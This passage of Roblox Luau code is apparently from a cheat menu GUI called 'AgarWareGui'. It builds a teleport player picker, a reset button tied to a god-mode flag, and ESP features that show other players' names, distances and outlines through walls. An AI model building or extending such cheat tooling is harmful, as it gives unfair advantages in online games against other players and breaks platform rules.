searchArrow.Font = Enum.Font.Code
searchArrow.BorderSizePixel = 0
searchArrow.ZIndex = 1001
searchArrow.Parent = panel
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT)
scrollFrame.Size = UDim2.new(1, 0, 0, 0)
scrollFrame.BackgroundTransparency = 1
scrollFrame.BorderSizePixel = 0
scrollFrame.ScrollBarThickness = 2
scrollFrame.ScrollBarImageColor3 = BORDER
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollFrame.ZIndex = 1000
scrollFrame.Parent = panel
local listLayout = Instance.new("UIListLayout")
listLayout.SortOrder = Enum.SortOrder.LayoutOrder
listLayout.Parent = scrollFrame
local bottomBar = Instance.new("Frame")
bottomBar.Size = UDim2.new(1, 0, 0, BOTTOM_BAR_HEIGHT)
bottomBar.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
bottomBar.BorderSizePixel = 0
bottomBar.ZIndex = 1000
bottomBar.Parent = panel
local bottomStroke = Instance.new("UIStroke")
bottomStroke.Color = BORDER
bottomStroke.Thickness = 1
bottomStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
bottomStroke.Parent = bottomBar
local displayBtn = Instance.new("TextButton")
displayBtn.Size = UDim2.new(0.5, -1, 1, 0)
displayBtn.Position = UDim2.new(0, 0, 0, 0)
displayBtn.BackgroundColor3 = BTN_BG
displayBtn.BorderSizePixel = 0
displayBtn.Text = "Show Display"
displayBtn.TextColor3 = WHITE
displayBtn.TextSize = 11
displayBtn.Font = Enum.Font.Code
displayBtn.ZIndex = 1001
displayBtn.Parent = bottomBar
local divider = Instance.new("Frame")
divider.Size = UDim2.new(0, 1, 1, 0)
divider.Position = UDim2.new(0.5, -1, 0, 0)
divider.BackgroundColor3 = BORDER
divider.BorderSizePixel = 0
divider.ZIndex = 1001
divider.Parent = bottomBar
local friendsBtn = Instance.new("TextButton")
friendsBtn.Size = UDim2.new(0.5, 0, 1, 0)
friendsBtn.Position = UDim2.new(0.5, 1, 0, 0)
friendsBtn.BackgroundColor3 = BTN_BG
friendsBtn.BorderSizePixel = 0
friendsBtn.Text = "Show Friends"
friendsBtn.TextColor3 = WHITE
friendsBtn.TextSize = 11
friendsBtn.Font = Enum.Font.Code
friendsBtn.ZIndex = 1001
friendsBtn.Parent = bottomBar
local cachedThumbs = {}
local function getThumb(userId)
if cachedThumbs[userId] then return cachedThumbs[userId] end
local ok, img = pcall(function()
return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48)
end)
local result = ok and img or ""
cachedThumbs[userId] = result
return result
end
local function loadFriends()
friendsList = {}
local ok, pages = pcall(function()
return LocalPlayer:GetFriendsAsync(200)
end)
if not ok then return end
local function processPage()
for _, v in pairs(pages:GetCurrentPage()) do
friendsList[v.Id] = true
end
end
processPage()
while not pages.IsFinished do
local ok2 = pcall(function() pages:AdvanceToNextPageAsync() end)
if not ok2 then break end
processPage()
end
end
task.spawn(loadFriends)
local function updatePanelSize(rowCount)
local visibleRows = math.min(rowCount, MAX_ROWS)
local scrollH = visibleRows * ROW_HEIGHT
scrollFrame.Size = UDim2.new(1, 0, 0, scrollH)
panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH + BOTTOM_BAR_HEIGHT)
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT)
bottomBar.Position = UDim2.new(0, 0, 0, ROW_HEIGHT + scrollH)
end
local function buildList(filter)
for _, child in pairs(scrollFrame:GetChildren()) do
if child:IsA("Frame") then child:Destroy() end
end
local playerList = {}
for _, p in pairs(Players:GetPlayers()) do
if p ~= LocalPlayer then
if not showFriends or friendsList[p.UserId] then
table.insert(playerList, p)
end
end
end
table.sort(playerList, function(a, b)
local nameA = showDisplay and a.DisplayName or a.Name
local nameB = showDisplay and b.DisplayName or b.Name
return nameA:lower() < nameB:lower()
end)
local filtered = {}
for _, p in ipairs(playerList) do
local displayText = showDisplay and p.DisplayName or p.Name
if filter == "" or displayText:lower():find(filter:lower(), 1, true) then
table.insert(filtered, p)
end
end
for i, p in ipairs(filtered) do
local isSelected = selectedPlayer == p
local displayText = showDisplay and p.DisplayName or p.Name
local row = Instance.new("Frame")
row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
row.BackgroundColor3 = isSelected and HOVER or BG
row.BorderSizePixel = 0
row.LayoutOrder = i
row.ZIndex = 1001
row.Parent = scrollFrame
local thumb = Instance.new("ImageLabel")
thumb.Size = UDim2.new(0, 12, 0, 12)
thumb.Position = UDim2.new(1, -16, 0.5, -6)
thumb.BackgroundTransparency = 1
thumb.Image = ""
thumb.ZIndex = 1002
thumb.Parent = row
task.spawn(function()
thumb.Image = getThumb(p.UserId)
end)
local nameLabel = Instance.new("TextLabel")
nameLabel.Size = UDim2.new(1, -22, 1, 0)
nameLabel.Position = UDim2.new(0, 6, 0, 0)
nameLabel.BackgroundTransparency = 1
nameLabel.Text = displayText
nameLabel.TextColor3 = isSelected and BLUE or WHITE
nameLabel.TextSize = 14
nameLabel.Font = Enum.Font.Code
nameLabel.TextXAlignment = Enum.TextXAlignment.Left
nameLabel.TextTruncate = Enum.TextTruncate.AtEnd
nameLabel.ZIndex = 1002
nameLabel.Parent = row
local rowBtn = Instance.new("TextButton")
rowBtn.Size = UDim2.new(1, 0, 1, 0)
rowBtn.BackgroundTransparency = 1
rowBtn.Text = ""
rowBtn.ZIndex = 1003
rowBtn.Parent = row
rowBtn.MouseEnter:Connect(function()
if selectedPlayer ~= p then
row.BackgroundColor3 = HOVER
end
end)
rowBtn.MouseLeave:Connect(function()
if selectedPlayer ~= p then
row.BackgroundColor3 = BG
end
end)
rowBtn.MouseButton1Click:Connect(function()
selectedPlayer = p
TpPlayerRow1:SetAttribute("SelectedPlayer", p.Name)
isOpen = false
panel.Visible = false
mainLabel.Visible = true
mainArrow.Visible = true
mainArrow.Text = "▼"
mainLabel.Text = showDisplay and p.DisplayName or p.Name
mainLabel.TextColor3 = WHITE
end)
end
updatePanelSize(#filtered)
end
local function openDropdown()
isOpen = true
mainLabel.Visible = false
mainArrow.Visible = false
-- Ensure the dropdown has valid position before opening
repeat
task.wait()
until TpPlayerDropdown.AbsoluteSize.X > 0
local absPos = TpPlayerDropdown.AbsolutePosition
local absSize = TpPlayerDropdown.AbsoluteSize
panel.Position = UDim2.new(0, absPos.X, 0, absPos.Y + absSize.Y)
panel.Size = UDim2.new(0, absSize.X, 0, ROW_HEIGHT)
panel.Visible = true
searchBox.Text = ""
buildList("")
end
local function closeDropdown()
isOpen = false
panel.Visible = false
mainLabel.Visible = true
mainArrow.Visible = true
mainArrow.Text = "▼"
if selectedPlayer then
mainLabel.Text = showDisplay and selectedPlayer.DisplayName or selectedPlayer.Name
mainLabel.TextColor3 = WHITE
else
mainLabel.Text = "Select Player"
mainLabel.TextColor3 = WHITE
end
end
displayBtn.MouseButton1Click:Connect(function()
showDisplay = not showDisplay
displayBtn.Text = showDisplay and "Show Username" or "Show Display"
if selectedPlayer then
mainLabel.Text = showDisplay and selectedPlayer.DisplayName or selectedPlayer.Name
end
if isOpen then
buildList(searchBox.Text)
end
end)
friendsBtn.MouseButton1Click:Connect(function()
showFriends = not showFriends
friendsBtn.Text = showFriends and "Show All" or "Show Friends"
if isOpen then
buildList(searchBox.Text)
end
end)
TpPlayerDropdown.MouseButton1Click:Connect(function()
if isOpen then
closeDropdown()
else
openDropdown()
end
end)
searchArrow.MouseButton1Click:Connect(function()
closeDropdown()
end)
searchBox:GetPropertyChangedSignal("Text"):Connect(function()
buildList(searchBox.Text)
end)
UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then
local mousePos = input.Position
local panelPos = panel.AbsolutePosition
local panelSize = panel.AbsoluteSize
local btnPos = TpPlayerDropdown.AbsolutePosition
local btnSize = TpPlayerDropdown.AbsoluteSize
local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X
and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y
local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X
and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y
if not inPanel and not inBtn then
closeDropdown()
end
end
end)
Players.PlayerRemoving:Connect(function(p)
if selectedPlayer == p then
selectedPlayer = nil
TpPlayerRow1:SetAttribute("SelectedPlayer", "")
mainLabel.Text = "Select Player"
mainLabel.TextColor3 = WHITE
end
if isOpen then
buildList(searchBox.Text)
end
end)
Players.PlayerAdded:Connect(function()
if isOpen then
buildList(searchBox.Text)
end
end)
TpPlayerRow1:SetAttribute("SelectedPlayer", "")
end;
task.spawn(C_76);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetScript
local function C_79()
local script = G2L["79"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local ResetRow = script.Parent
local ResetButton = ResetRow.ResetButton
local HOLD_TIME = 0.5
local GREY = Color3.fromRGB(80, 80, 80)
local RED = Color3.fromRGB(180, 30, 30)
local WHITE = Color3.new(1, 1, 1)
-- Wait for GUI to be fully loaded
if not game:IsLoaded() then
game.Loaded:Wait()
end
-- Clear the button's default text
ResetButton.Text = ""
local fillBar = Instance.new("Frame")
fillBar.Name = "FillBar"
fillBar.Size = UDim2.new(0, 0, 1, 0)
fillBar.Position = UDim2.new(0, 0, 0, 0)
fillBar.BackgroundColor3 = GREY
fillBar.BorderSizePixel = 0
fillBar.ZIndex = 1
fillBar.Parent = ResetButton
local btnLabel = Instance.new("TextLabel")
btnLabel.Name = "BtnLabel"
btnLabel.Size = UDim2.new(1, 0, 1, 0)
btnLabel.Position = UDim2.new(0, 0, 0, 0)
btnLabel.BackgroundTransparency = 1
btnLabel.Text = "Reset Character"
btnLabel.TextColor3 = WHITE
btnLabel.TextSize = 14
btnLabel.Font = Enum.Font.Code
btnLabel.ZIndex = 2
btnLabel.Parent = ResetButton
local holding = false
local progress = 0
local connection = nil
local function reset()
-- Pause god mode temporarily
shared.GodModePaused = true
-- Reset character
shared.ResetCharacter()
-- Resume god mode after a short delay
task.wait(0.5)
shared.GodModePaused = false
end
local function stopHold()
holding = false
if connection then
connection:Disconnect()
connection = nil
end
progress = 0
fillBar.Size = UDim2.new(0, 0, 1, 0)
fillBar.BackgroundColor3 = GREY
btnLabel.Text = "Reset Character"
btnLabel.TextColor3 = WHITE
btnLabel.TextScaled = false
btnLabel.BackgroundTransparency = 1
end
ResetButton.MouseButton1Down:Connect(function()
holding = true
progress = 0
btnLabel.Text = "Hold to Reset..."
fillBar.BackgroundColor3 = GREY
connection = RunService.RenderStepped:Connect(function(dt)
if not holding then return end
progress = progress + (dt / HOLD_TIME)
progress = math.clamp(progress, 0, 1)
fillBar.Size = UDim2.new(progress, 0, 1, 0)
if progress >= 1 then
btnLabel.Text = "Resetting..."
stopHold()
task.wait(0.1)
reset()
end
end)
end)
ResetButton.MouseButton1Up:Connect(function()
stopHold()
end)
ResetButton.MouseLeave:Connect(function()
stopHold()
end)
end;
task.spawn(C_79);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPScript
local function C_7f()
local script = G2L["7f"];
local ESPGroup = script.Parent
local ESPMinimize = ESPGroup.ESPTitle.ESPMinimize
local function getRows()
local rows = {}
for _, child in ipairs(ESPGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ESPGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ESPMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ESPGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ESPMinimize.Text = "+"
else
ESPGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ESPMinimize.Text = "-"
end
end)
end;
task.spawn(C_7f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameScript
local function C_85()
local script = G2L["85"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local ESPGroup = script.Parent.Parent
local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor")
local ESPNameTickBox = script.Parent:WaitForChild("ESPNameTickBox")
local isEnabled = false
local ESPColor = Color3.fromRGB(255, 255, 255)
local ESPGuis = {}
local renderConnection = nil
ESPGroup:GetAttributeChangedSignal("ESPColor"):Connect(function()
local newColor = ESPGroup:GetAttribute("ESPColor")
if newColor then
ESPColor = newColor
for plr, data in pairs(ESPGuis) do
if data and data.NameLabel then
data.NameLabel.TextColor3 = newColor
end
end
end
end)
local function getAccent()
return ESPAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = ESPGroup
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = tooltipFrame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Shows player names above their character"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
ESPNameTickBox.MouseEnter:Connect(function()
local abs = ESPNameTickBox.AbsolutePosition
local size = ESPNameTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ESPNameTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
local function createNameGui(targetPlayer)
local char = targetPlayer.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local old = head:FindFirstChild("ESPNameGui_" .. targetPlayer.Name)
if old then old:Destroy() end
local bb = Instance.new("BillboardGui")
bb.Name = "ESPNameGui_" .. targetPlayer.Name
bb.Size = UDim2.new(0, 200, 0, 30)
bb.StudsOffset = Vector3.new(0, 3, 0)
bb.Adornee = head
bb.AlwaysOnTop = true
bb.Enabled = true
bb.Parent = head
local label = Instance.new("TextLabel")
label.Name = "NameLabel"
label.Size = UDim2.new(1, 0, 1, 0)
label.BackgroundTransparency = 1
label.Text = targetPlayer.Name
label.TextColor3 = ESPColor
label.TextStrokeTransparency = 0
label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
label.TextSize = 14
label.Font = Enum.Font.GothamSemibold
label.Parent = bb
ESPGuis[targetPlayer] = {BillboardGui = bb, NameLabel = label}
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.Died:Connect(function()
if ESPGuis[targetPlayer] and ESPGuis[targetPlayer].BillboardGui then
ESPGuis[targetPlayer].BillboardGui:Destroy()
end
ESPGuis[targetPlayer] = nil
end)
end
end
local function removeNameGui(targetPlayer)
if ESPGuis[targetPlayer] then
if ESPGuis[targetPlayer].BillboardGui then
ESPGuis[targetPlayer].BillboardGui:Destroy()
end
ESPGuis[targetPlayer] = nil
end
end
local function startRender()
if renderConnection then renderConnection:Disconnect() end
renderConnection = RunService.RenderStepped:Connect(function()
local myChar = LocalPlayer.Character
local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
local maxDist = ESPGroup:GetAttribute("ESPMaxDist") or 1000
local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
local useDisplay = ESPGroup.Parent.Parent.VisualRightSide:FindFirstChild("ESPSGroup") and ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttribute("UseDisplayName")
local showDist = ESPGroup:GetAttribute("ShowDist")
for plr, data in pairs(ESPGuis) do
if data and data.NameLabel and data.BillboardGui then
local targetChar = plr.Character
local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
if myHRP and targetHRP then
local dist = (myHRP.Position - targetHRP.Position).Magnitude
local distText = string.format("%.1f", dist)
local name = useDisplay and plr.DisplayName or plr.Name
if dist <= maxDist and espEnabled then
data.BillboardGui.Enabled = true
if isEnabled and showDist then
data.NameLabel.Text = name .. " | " .. distText
elseif isEnabled then
data.NameLabel.Text = name
elseif showDist then
data.NameLabel.Text = distText
else
data.BillboardGui.Enabled = false
end
data.NameLabel.TextColor3 = ESPColor
else
data.BillboardGui.Enabled = false
end
end
end
end
end)
end
local function enable()
isEnabled = true
ESPNameTickBox.BackgroundColor3 = getAccent()
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer then
if not ESPGuis[plr] then
createNameGui(plr)
end
plr.CharacterAdded:Connect(function()
task.wait(0.5)
if isEnabled or ESPGroup:GetAttribute("ShowDist") then
createNameGui(plr)
end
end)
end
end
startRender()
end
local function disable()
isEnabled = false
ESPNameTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local showDist = ESPGroup:GetAttribute("ShowDist")
if not showDist then
if renderConnection then
renderConnection:Disconnect()
renderConnection = nil
end
for plr in pairs(ESPGuis) do
removeNameGui(plr)
end
end
end
Players.PlayerAdded:Connect(function(plr)
if (isEnabled or ESPGroup:GetAttribute("ShowDist")) and plr ~= LocalPlayer then
createNameGui(plr)
plr.CharacterAdded:Connect(function()
task.wait(0.5)
if isEnabled or ESPGroup:GetAttribute("ShowDist") then
createNameGui(plr)
end
end)
end
end)
Players.PlayerRemoving:Connect(function(plr)
removeNameGui(plr)
end)
ESPNameTickBox.MouseButton1Click:Connect(function()
if isEnabled then disable() else enable() end
end)
ESPGroup:GetAttributeChangedSignal("ShowDist"):Connect(function()
local showDist = ESPGroup:GetAttribute("ShowDist")
if not isEnabled and not showDist then
if renderConnection then
renderConnection:Disconnect()
renderConnection = nil
end
for plr in pairs(ESPGuis) do
removeNameGui(plr)
end
elseif not isEnabled and showDist then
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer then
createNameGui(plr)
end
end
startRender()
end
end)
ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
if espEnabled then
if isEnabled or ESPGroup:GetAttribute("ShowDist") then
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer then
if not ESPGuis[plr] then
createNameGui(plr)
else
ESPGuis[plr].BillboardGui.Enabled = true
end
end
end
startRender()
end
else
for plr, data in pairs(ESPGuis) do
if data and data.BillboardGui then
data.BillboardGui.Enabled = false
end
end
end
end)
ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttributeChangedSignal("UseDisplayName"):Connect(function()
local useDisplay = ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttribute("UseDisplayName")
for plr, data in pairs(ESPGuis) do
if data and data.NameLabel then
data.NameLabel.Text = useDisplay and plr.DisplayName or plr.Name
end
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_85);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistScript
local function C_89()
local script = G2L["89"];
local ESPGroup = script.Parent.Parent
local ESPMaxDistRow = script.Parent
local ESPMaxDistTickBox = ESPMaxDistRow:WaitForChild("ESPMaxDistTickBox")
local ESPMaxDistChanger = ESPMaxDistRow:WaitForChild("ESPMaxDistChanger")
local defaultDist = 1000
local function getScreenGui()
local parent = ESPGroup
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = tooltipFrame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Maximum distance to show ESP on players. Default is 1000, INF to see all players "
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.AutomaticSize = Enum.AutomaticSize.XY
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
ESPMaxDistTickBox.MouseEnter:Connect(function()
local abs = ESPMaxDistTickBox.AbsolutePosition
local size = ESPMaxDistTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ESPMaxDistTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
ESPGroup:SetAttribute("ESPMaxDist", defaultDist)
ESPMaxDistChanger.PlaceholderText = tostring(defaultDist)
ESPMaxDistChanger.FocusLost:Connect(function()
local input = ESPMaxDistChanger.Text
if input:lower() == "inf" then
ESPGroup:SetAttribute("ESPMaxDist", math.huge)
ESPMaxDistChanger.PlaceholderText = "inf"
ESPMaxDistChanger.Text = ""
else
local num = tonumber(input)
if num and num > 0 then
num = math.clamp(num, 1, 100000)
ESPGroup:SetAttribute("ESPMaxDist", num)
ESPMaxDistChanger.PlaceholderText = tostring(num)
ESPMaxDistChanger.Text = ""
else
ESPMaxDistChanger.Text = ""
end
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
ESPGroup:SetAttribute("ESPMaxDist", 1000)
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_89);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceScript
local function C_8e()
local script = G2L["8e"];
local Players = game:GetService("Players")
local ESPGroup = script.Parent.Parent
local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor")
local ESPDistanceTickBox = script.Parent:WaitForChild("ESPDistanceTickBox")
local isEnabled = false
local function getAccent()
return ESPAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = ESPGroup
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = tooltipFrame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Shows distance to players next to their name"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
ESPDistanceTickBox.MouseEnter:Connect(function()
local abs = ESPDistanceTickBox.AbsolutePosition
local size = ESPDistanceTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ESPDistanceTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
ESPDistanceTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
if isEnabled then
ESPDistanceTickBox.BackgroundColor3 = getAccent()
else
ESPDistanceTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
ESPGroup:SetAttribute("ShowDist", isEnabled)
end)
ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
if not espEnabled then
ESPGroup:SetAttribute("ShowDist", false)
elseif espEnabled and isEnabled then
ESPGroup:SetAttribute("ShowDist", true)
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
isEnabled = false
ESPGroup:SetAttribute("ShowDist", false)
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_8e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineScript
local function C_92()
local script = G2L["92"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local ESPGroup = script.Parent.Parent
local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor")
local ESPOutlineTickBox = script.Parent:WaitForChild("ESPOutlineTickBox")
local isEnabled = false
local ESPColor = Color3.fromRGB(255, 255, 255)
ESPGroup:GetAttributeChangedSignal("ESPColor"):Connect(function()
local newColor = ESPGroup:GetAttribute("ESPColor")
if newColor then
ESPColor = newColor
for plr, data in pairs(ESPGuis) do
if data then
if data.NameLabel then
data.NameLabel.TextColor3 = newColor
end
if data.DistLabel then
data.DistLabel.TextColor3 = newColor
end
if typeof(data) == "Instance" and data:IsA("Highlight") then
data.OutlineColor = newColor
end
end
end
end
end)
local ESPGuis = {}
local function getAccent()
return ESPAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = ESPGroup
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = tooltipFrame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Shows an outline around players through walls"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
ESPOutlineTickBox.MouseEnter:Connect(function()
local abs = ESPOutlineTickBox.AbsolutePosition
local size = ESPOutlineTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ESPOutlineTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
local function createOutline(targetPlayer)
local char = targetPlayer.Character
if not char then return end
for _, v in pairs(char:GetChildren()) do
if v:IsA("Highlight") and v.Name == "ESPOutlineHighlight" then
v:Destroy()
end
end
local highlight = Instance.new("Highlight")
highlight.Name = "ESPOutlineHighlight"
highlight.FillTransparency = 1
highlight.OutlineColor = ESPColor
highlight.OutlineTransparency = 0
highlight.Enabled = true
RunService.RenderStepped:Connect(function()
local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false
